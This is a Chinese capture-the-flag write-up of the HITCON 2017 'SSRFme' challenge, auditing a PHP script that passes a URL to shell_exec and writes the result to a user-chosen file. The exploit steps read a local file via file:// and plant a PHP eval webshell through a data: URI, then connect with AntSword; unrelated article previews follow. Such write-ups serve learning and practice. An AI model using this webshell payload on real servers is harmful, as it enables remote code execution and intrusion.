HITCON2017SSRFME-学习复盘
代码审计
192.168.122.15
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//用逗号分割多个IP$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}echo $_SERVER["REMOTE_ADDR"];//给第一个IP发送请求//在存在有请求头时执行$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox);//创建文件夹@chdir($sandbox);//移动到该文件夹下$data = shell_exec("GET " . escapeshellarg($_GET["url"]));//escapeshellarg()它用于安全地将字符串转换为shell命令的参数。这个函数通过在字符串两边添加单引号,并且转义内部所有的单引号,来确保传递给shell函数的字符串不会引起安全问题。提取url给url加上单引号作为命令,perl语言向url发送get请求$info = pathinfo($_GET["filename"]);//提取文件路径信息,目录名,后缀$dir = str_replace(".", "", basename($info["dirname"]));//路径的.换为空@mkdir($dir);//创建传入的目录@chdir($dir);//切换到该目录下@file_put_contents(basename($info["basename"]), $data);//将请求结果写入传入的文件里highlight_file(__FILE__);
所以我们在请求?url=/&filename=1.php时,会在/sandbox/md5(orange192.168.122.15)/下把url的结果写入文件1.php。
SSRF利用
?url=/&filename=1.php
漏洞点显而易见是在参数url,传入url=/返回上一级目录。读取目录结果在
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/1.php
目录里有个readflag文件
?url=file:///readflag&filename=2.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/2.php
读取到文件是乱码,含有flag的字样,尝试上传一句话木马,连接后再执行该文件。
?url=data:text/plain;'<?php @eval($_POST['123']);?>'&filename=3.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/3.php
看到两个引号表示上传成功,用蚁剑连接,在根目录打开终端。
./readflag
得到flag。
参考文章
https://www.cnblogs.com/CAPD/p/17858896.html
相关文章:
HITCON2017SSRFME-学习复盘
代码审计 192.168.122.15 <?phpif (isset($_SERVER[HTTP_X_FORWARDED_FOR])) {$http_x_headers explode(,, $_SERVER[HTTP_X_FORWARDED_FOR]);//用逗号分割多个IP$_SERVER[REMOTE_ADDR] $http_x_headers[0];}echo $_SERVER["REMOTE_ADDR"];//给第一个IP发送请…...
【Http和Https区别】
概念: 一、Http协议 HTTP(超文本传输协议)是一种用于传输超媒体文档(如HTML)的应用层协议,主要用于Web浏览器和服务器之间的通信。http也是客户端和服务器之间请求与响应的标准协议,客户端通常…...
2025数学建模竞赛汇总,错过再等一年
01、2025第十届数维杯大学生数学建模挑战赛(小国赛) 竞赛介绍:数学建模行业内仅次于国赛和美赛的的第三赛事,被多所高校认定为国家级二类竞赛。赛题类型是国内唯一和高教社杯国赛题型风格完全一致的全国性数学建模竞赛࿰…...
基于SSM的《计算机网络》题库管理系统(源码+lw+部署文档+讲解),源码可白嫖!
摘 要 《计算机网络》题库管理系统是一种新颖的考试管理模式,因为系统是用Java技术进行开发。系统分为三个用户进行登录并操作,分别是管理员、教师和学生。教师在系统后台新增试题和试卷,学生进行在线考试,还能对考生记录、错题…...
ReentrantLock 用法与源码剖析笔记
📒 ReentrantLock 用法与源码剖析笔记 🚀 一、ReentrantLock 核心特性 🔄 可重入性:同一线程可重复获取锁(最大递归次数为 Integer.MAX_VALUE)🔧 公平性:支持公平锁(按等…...
矩阵的 正定(Positive Definite)与负定(Negative Definite):从Fisher信息矩阵看“曲率”的秘密
矩阵的正定与负定:从Fisher信息矩阵看“曲率”的秘密 在数学和统计学中,矩阵的“正定性”和“负定性”是一对重要概念,尤其在优化、统计推断和机器学习中频繁出现。比如,Fisher信息矩阵(Fisher Information Matrix, F…...
被裁20240927 --- WSL-Ubuntu20.04安装cuda、cuDNN、tensorRT
cuda、cuDNN、tensorRT的使用场景 1. CUDA(Compute Unified Device Architecture) 作用: GPU 通用计算:CUDA 是 NVIDIA 的并行计算平台和编程模型,允许开发者直接利用 GPU 的并行计算能力,加速通用计算任…...
uniapp写的h5跳转小程序
使用场景: 我们对接第三方支付的时候,对方只提供了原生小程序id和appid,由我们的app和h5平台跳转至小程序。 遇到的问题: app跳转本地正常,线上报错如下 解决办法: 需要去微信开放平台申请应用appid 易…...
[SWPUCTF 2022 新生赛]ez_rce
打开题目就在线环境,发现只有一句话:真的什么都没有吗 F12查看控制台和源代码也没发现任何信息,然后用虚拟机里面的dirsearch扫一下这个网站就能得到: 然后这里扫出来的结果查看的直接就是robots.txt,然后就能看到: …...
递归、搜索与回溯算法 —— 名词解析
目录 一、递归 1、什么是递归? 2、递归的数学类比 3、为什么要用到递归? 问题具有递归结构: 代码简洁易懂: 解决复杂问题: 处理嵌套结构: 4、如何理解递归? 明确基准条件: …...
【docker】docker swarm lock和unlock的区别,以及旧节点重启的隐患
docker swarm lock/unlock 的作用 Docker Swarm 提供了**加密集群状态(Encrypted Raft logs)**的功能,可以防止 Swarm 集群的管理数据(如任务分配、集群配置等)在磁盘上被未授权访问。 docker swarm lock:…...
Grafana使用日志5--如何重置Grafana密码
背景 有时候当账号太多的时候,根本记不住所有的账号密码,这时候就很容易登录失败,这时候怎么办呢? 接下来就让我来给大家演示一下Grafana的账号如果忘记了的话,该怎么找回自己的账号密码 操作 让我们来看一下具体的…...
ELK搭建初入
ELK搭建: 1、安装ElasticSearch (用于存储收集到的日志信息) 解压安装包 tar -xzvf elasticsearch-8.17.2-linux-x86_64.tar.gz 启动es:bin/elasticsearch –d(默认端口号9200) 浏览器输入es地址。出现…...
JVM 高级面试题及答案整理,最新面试题
JVM中的垃圾收集器有哪些,它们的工作原理是什么? JVM中的垃圾收集器主要包括以下几种: 1、 Serial收集器:它是一个单线程收集器,工作时会暂停所有其他工作线程("Stop-The-World")&a…...
第9章:LangChain结构化输出-示例5(基于大模型如何精确匹配POJO的字段)
如何使用LangChain4j框架创建和使用多种AI服务。它通过定义接口和注解,将自然语言处理任务(如情感分析、数字提取、日期提取、POJO提取等)封装为服务,并通过LangChain4j的AiServices动态生成这些服务的实现。 本章主要讲述基于LangChain调用大模型如何进行结构化输出的真实…...
ref和reactive的区别 Vue3
Vue3中ref和reactive的区别 ref 可以定义基本数据类型,也可定义对象类型的响应式数据 reactive 只能定义对象类型的响应式数据 ref和reactive定义对象类型的响应式数据有什么不同 不同点1 ref定义的响应式数据,取值时需要先 .value 不同点2 替换整…...
基于MATLAB的OFDM通信系统仿真设计
下面将为你详细介绍基于MATLAB的OFDM通信系统仿真设计的步骤和示例代码。 1. OFDM系统原理概述 正交频分复用(OFDM)是一种多载波调制技术,它将高速数据流通过串并转换,分配到多个正交的子载波上进行传输,这样可以有效…...
地铁站内导航系统:基于蓝牙Beacon与AR技术的动态路径规划技术深度剖析
本文旨在分享一套地铁站内导航系统技术方案,通过蓝牙Beacon技术与AI算法的结合,解决传统导航定位不准确、路径规划不合理等问题,提升乘客出行体验,同时为地铁运营商提供数据支持与增值服务。 如需获取校地铁站内智能导航系统方案文…...
JS复习练习题目、完整nodejs项目以及Commons、Es
### JS复习练习 -  1. 任务1:创建一个简单的问候函数 - 编写一个函数greet,接受一个名字作为参数,并返回一个问候语,例如:“Hello, [名字]! Welcome to Jav…...
Linux:理解O(1)调度算法的设计精髓
目录 一、从厨房看调度器本质 二、O(1)算法的核心架构 1.时间复杂度的革命 2.动态优先级魔法 三、算法运行的全景图 1.时间片分配策略 2.上下文切换的艺术 前言:前面文章提到关于并发的概念,并发针对的是单核的CPU上同时运行很多情况,…...
Comfy UI 工作流(二)潜空间放大与二次生成对比
1. 潜空间放大技术解析 潜空间放大(Latent Upscale)是Comfy UI中一种独特的高清修复技术。我第一次接触这个概念时也是一头雾水,直到实际测试了几十组对比图后才真正理解它的价值。简单来说,它直接在潜在空间(latent s…...
从选电容到调眼图:一个硬件工程师的PCIe 4.0实战避坑笔记
从选电容到调眼图:一个硬件工程师的PCIe 4.0实战避坑笔记 去年参与某AI加速卡项目时,团队第一次尝试PCIe 4.0设计就遭遇了信号完整性问题。当示波器上出现几乎闭合的眼图时,我才真正理解高速信号设计的复杂性。本文将分享从器件选型到调试全流…...
没带手表那天我反而跑顺了:找回你的“自动负载均衡”
没记录的汗水,是不是就白流了?老马今天跟你聊聊咱们这个系列的最后一篇:脱表。一个周末,我起了个大早,换好衣服穿好跑鞋,习惯性地拿起手表准备出门。结果一按屏幕——黑的,昨晚忘充电了。按说这…...
科研必备:Mathpix+Mathtype一键转换PDF/图片公式为可编辑格式
1. 科研公式处理的痛点与解决方案 每次阅读文献时看到需要引用的公式,手动输入总让人头疼。特别是遇到复杂的分式、积分符号或矩阵时,光是调整格式就可能花费半小时。我曾为了输入一个三重积分公式,反复调试了40分钟仍不满意。 传统方法主要有…...
忍者像素绘卷入门指南:Z-Image-Turbo底座模型微调入门路径
忍者像素绘卷入门指南:Z-Image-Turbo底座模型微调入门路径 1. 认识忍者像素绘卷 忍者像素绘卷是一款基于Z-Image-Turbo深度优化的图像生成工作站,它将传统漫画创作与现代AI技术相结合,打造出独特的16-Bit复古游戏美学风格。这个工具特别适合…...
Phi-4-mini-reasoning部署教程:3.8B轻量开源模型GPU一键部署实战
Phi-4-mini-reasoning部署教程:3.8B轻量开源模型GPU一键部署实战 1. 项目概述 Phi-4-mini-reasoning是微软推出的3.8B参数轻量级开源模型,专为数学推理、逻辑推导和多步解题等强逻辑任务设计。这个模型主打"小参数、强推理、长上下文、低延迟&quo…...
Graphormer模型前端设计思维:打造用户体验卓越的化学AI工具
Graphormer模型前端设计思维:打造用户体验卓越的化学AI工具 1. 化学AI工具的设计挑战 化学研究领域正经历着AI技术的深刻变革,Graphormer等图神经网络模型在分子性质预测、药物发现等方面展现出强大能力。然而,将这些复杂模型转化为科研人员…...
Tab-Resize终极指南:如何轻松实现浏览器分屏布局
Tab-Resize终极指南:如何轻松实现浏览器分屏布局 【免费下载链接】tab-resize Split Screen made easy. Resize the CURRENT tab and tabs to the RIGHT into layouts on separate Windows. w/ Multi-monitor Support 项目地址: https://gitcode.com/gh_mirrors/t…...
从课堂到实战:手把手教你用AT89C51和LCD1602做一个能调时间的电子钟(附Proteus仿真)
从零构建AT89C51电子钟:模块化编程与Proteus仿真全指南 当你第一次看到LCD屏幕上跳动的数字准确显示时分秒,那种亲手创造"时间"的成就感,是学习单片机最迷人的瞬间。这个基于AT89C51的电子钟项目,正是为刚入门嵌入式开发…...
006-分布式训练技术:DeepSeek的超大规模模型训练实践
006-分布式训练技术:DeepSeek的超大规模模型训练实践 那个凌晨三点半的OOM异常 上个月团队里新来的小伙子跑过来问我:“哥,我把batch_size调到32就OOM了,这卡可是80G显存啊!”我看了眼他的训练脚本,单卡训练,数据加载方式还是最原始的DataLoader。这场景太熟悉了——三…...
